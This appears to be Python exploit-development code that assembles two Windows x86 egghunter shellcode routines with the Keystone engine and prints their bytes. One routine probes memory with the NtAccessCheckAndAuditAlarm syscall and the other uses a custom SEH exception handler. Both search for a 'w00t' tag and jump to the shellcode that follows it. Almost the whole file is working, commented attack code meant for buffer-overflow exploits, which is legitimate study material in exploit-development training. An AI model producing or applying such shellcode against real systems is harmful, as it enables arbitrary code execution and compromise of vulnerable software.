CODE = ( # We use the edx register as a memory page counter " " " loop_inc_page: " # Go to the last address in the memory page " or dx, 0x0fff ;" " loop_inc_one: " # Increase the memory counter by one " inc edx ;" " loop_check: " # Save the edx register which holds our memory # address on the stack " push edx ;" # Push the system call number win10 NtAccessCheckAndAuditAlarm 0x1c8h " push 0x1c8 ;" # Initialize the call to NtAccessCheckAndAuditAlarm " pop eax ;" # Perform the system call " int 0x2e ;" # Check for access violation, 0xc0000005 # (ACCESS_VIOLATION) " cmp al,05 ;" # Restore the edx register to check later # for our egg " pop edx ;" " loop_check_valid: " # If access violation encountered, go to n # ext page " je loop_inc_page ;" " is_egg: " # Load egg (w00t in this example) into # the eax register " mov eax, 0x74303077 ;" # Initializes pointer with current checked # address " mov edi, edx ;" # Compare eax with doubleword at edi and # set status flags " scasd ;" # No match, we will increase our memory # counter by one " jnz loop_inc_one ;" # First part of the egg detected, check for # the second part " scasd ;" # No match, we found just a location # with half an egg " jnz loop_inc_one ;" " matched: " # The edi register points to the first # byte of our buffer, we can jump to it " jmp edi ;" )
# Initialize engine in 32bit mode ks = Ks(KS_ARCH_X86, KS_MODE_32) encoding, count = ks.asm(CODE) egghunter = "" for dec in encoding: egghunter += "\\x{0:02x}".format(int(dec)).rstrip("\n") print("egghunter = (\"" + egghunter + "\")")
CODE = ( " start: " # jump to a negative call to dynamically # obtain egghunter position " jmp get_seh_address ;" " build_exception_record: " # pop the address of the exception_handler # into ecx " pop ecx ;" # mov signature into eax " mov eax, 0x74303077 ;" # push Handler of the # _EXCEPTION_REGISTRATION_RECORD structure " push ecx ;" # push Next of the # _EXCEPTION_REGISTRATION_RECORD structure " push 0xffffffff ;" # null out ebx " xor ebx, ebx ;" # overwrite ExceptionList in the TEB with a pointer # to our new _EXCEPTION_REGISTRATION_RECORD structure " mov dword ptr fs:[ebx], esp ;" " sub ecx, 0x04 ;" " add ebx, 0x04 ;" " mov dword ptr fs:[ebx], ecx ;" " is_egg: " # push 0x02 " push 0x02 ;" # pop the value into ecx which will act # as a counter " pop ecx ;" # mov memory address into edi " mov edi, ebx ;" # check for our signature, if the page is invalid we # trigger an exception and jump to our exception_handler function " repe scasd ;" # if we didn't find signature, increase ebx # and repeat " jnz loop_inc_one ;" # we found our signature and will jump to it " jmp edi ;" " loop_inc_page: " # if page is invalid the exception_handler will # update eip to point here and we move to next page " or bx, 0xfff ;" " loop_inc_one: " # increase ebx by one byte " inc ebx ;" # check for signature again " jmp is_egg ;" " get_seh_address: " # call to a higher address to avoid null bytes & push # return to obtain egghunter position " call build_exception_record ;" # push 0x0c onto the stack " push 0x0c ;" # pop the value into ecx " pop ecx ;" # mov into eax the pointer to the CONTEXT # structure for our exception " mov eax, [esp+ecx] ;" # mov 0xb8 into ecx which will act as an # offset to the eip " mov cl, 0xb8 ;" # increase the value of eip by 0x06 in our CONTEXT # so it points to the "or bx, 0xfff" instruction # to increase the memory page " add dword ptr ds:[eax+ecx], 0x06 ;" # save return value into eax " pop eax ;" # increase esp to clean the stack for our call " add esp, 0x10 ;" # push return value back into the stack " push eax ;" # null out eax to simulate # ExceptionContinueExecution return " xor eax, eax ;" # return " ret ;" )